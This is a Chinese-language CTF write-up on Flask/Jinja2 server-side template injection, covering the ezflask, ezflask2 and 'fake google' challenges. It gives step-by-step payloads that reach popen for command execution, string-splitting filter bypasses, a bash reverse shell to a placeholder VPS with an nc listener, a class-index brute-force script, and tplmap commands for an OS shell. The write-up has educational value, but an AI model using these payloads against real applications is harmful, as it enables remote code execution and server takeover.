SSTI Flask做题记录1

这个知识点是前几天从接触的,是因为创建HDCTF的比赛遇到的于是自己就来记录一下和学习一下

1. ezflask

hdctfezflask地址

这个题比较简单,直接一层一层的去找一找利用的类和函数就可以啦
记录一下自己的步骤:

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}#最后获得flag

2. ezflask 2

hdctfezflask2地址
该题在ezflask的基础上做了一些过滤,前面寻找类和函数的方法还是一样

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['pop''en']('cat fla''g').read()}}#最后获得flag

该题主要是通过字符串拼接绕过
原理是dict类型可以使用字符串拼接

3.fake google

地址buu平台
做法还是一样,只是利用的类位置不同,下面我会分享自己获得需要类位置的方法

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[117]}}#这里我们利用的是os._wrap_close类
5.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}#最后获得flag

也可以利用其它模块进行反弹shell

#利用该模块,位置是402
1.{{''.__class__.__base__.__subclasses__()[402]}}#获得该类
2.{{''.__class__.__base__.__subclasses__()[402]("bash -c "bash-i >&/dev/tcp/vps/端口 0>&1"",shell=True)}}#在自己的服务器上面nc -lvp 81开一个监听端口反弹shell

但是这里返回500,其它的题可以尝试

4. 如何获得我们想要subclasses下面的基类

方法一:利用脚本去跑或者bp跑一样的

#-*- coding:utf-8 -*-
#Firebasky
import requests as req
import time

url = "url?name="

for i in range(1,1000):
    time.sleep(0.08)
    payload = '{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'            
    print(payload)
    r = req.get(url+payload)
        
    if "os._wrap_close" in r.text:
        print(i)
        break
#{{"".__class__.__mro__[1].__subclasses__()[xxx]}}

方法二:复制下来利用python的for循环打印,然后放在notepad里面就可以看到每一行

5. 利用工具tplmap进行

安装:git clone https://github.com/epinna/tplmap
这里利用ezflask来演示
进入tplmap工具的目录.输入:python tplmap.py -u http://8.129.15.153:20022/?name=
然后就进入检测
SSTI Flask做题记录1_第1张图片拿shell:python tplmap.py -u http://8.129.15.153:20022/?name= --engine jinja2 --os-shell
SSTI Flask做题记录1_第2张图片
SSTI Flask做题记录1_第3张图片
success

上面的思路比较简单,后面会陆陆续续的分享其它的方法和思路

参考:flask之ssti模版注入从零到入门

你可能感兴趣的:(SSTI,Flask,SSTI,Flask)